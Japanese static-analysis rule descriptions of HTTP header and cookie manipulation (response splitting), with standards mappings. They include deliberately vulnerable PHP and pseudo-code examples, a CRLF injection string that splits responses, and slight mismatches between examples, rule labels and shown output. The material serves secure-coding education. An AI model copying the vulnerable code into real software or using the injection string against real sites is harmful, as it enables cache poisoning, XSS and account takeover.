[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP クッキーに含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation_cookies
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、location を HTTP リクエストから読み取り、HTTP レスポンスのヘッダーの location フ ィールドにセットします。


location = req.field('some_location')
...
response.addHeader("location",location)


「index.html」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のようになります。


HTTP/1.1 200 OK
...
location: index.html
...


ただし、location の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、some_location として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
未検証のデータを cookie に含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie の不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP Cookie にデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。 基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

Cookie Manipulation: Cross-Site Request Forgery のような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。 HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。 これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。 たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。 使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。 しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
